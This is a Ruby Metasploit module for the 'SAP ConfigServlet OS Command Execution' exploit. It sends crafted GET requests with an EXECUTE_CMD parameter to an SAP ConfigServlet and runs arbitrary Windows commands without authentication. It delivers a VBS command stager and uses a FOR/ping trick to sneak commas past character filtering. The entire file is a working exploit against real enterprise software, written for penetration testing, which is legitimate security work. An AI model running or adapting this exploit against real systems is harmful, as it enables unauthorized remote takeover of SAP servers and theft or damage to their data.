require 'msf/core'
class Metasploit3 < Msf::Exploit
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP ConfigServlet OS Command Execution',
'Description' => %q{
This module allows remote code execution via operating system commands through
the SAP ConfigServlet without any authentication.
},
'Author' =>
[
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
'Andras Kabai' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
],
'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
'Platform' => 'win',
'Targets' =>
[
[
'Windows generic',
{
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
Opt::RPORT(50000),
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
], self.class)
end
def exploit
print_status("#{rhost}:#{rport} - Exploiting remote system")
uri = normalize_uri(target_uri.path, 'ConfigServlet')
execute_cmdstager( { :linemax => 1500, :nodelete => true, :sap_configservlet_uri => uri })
end
def execute_command(cmd, opts)
commands = cmd.split(/&/)
commands.each do |command|
if command.include?(".vbs") and command.include?(",")
# becasue the comma is bad character and the VBS stager contains commas it is necessary to "create" commas withouth directly using them
# using the following command line trick it is possible to echo commas into the right places
command.gsub!(",", "%i")
command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
else
command = "cmd /c " + command
end
vprint_status("Attempting to execute: #{command}")
send_evil_request(opts[:sap_configservlet_uri], command)
end
end
def send_evil_request(uri, cmd)
begin
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
})
if !res or res.code != 200
print_error("#{rhost}:#{rport} - Exploit failed.")
fail_with(Exploit::Failure::UnexpectedReply)
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Failed to connect to the server")
fail_with(Exploit::Failure::Unreachable)
end
if res.body.include?("Process created")
if target['Arch'] == ARCH_CMD
print_good("#{rhost}:#{rport} - Exploited successfully\n")
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
print_line("#{rhost}:#{rport} - Output: #{res.body}")
end
else
print_error("#{rhost}:#{rport} - Exploit failed.")
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
fail_with(Exploit::Failure::PayloadFailed)
end
end
end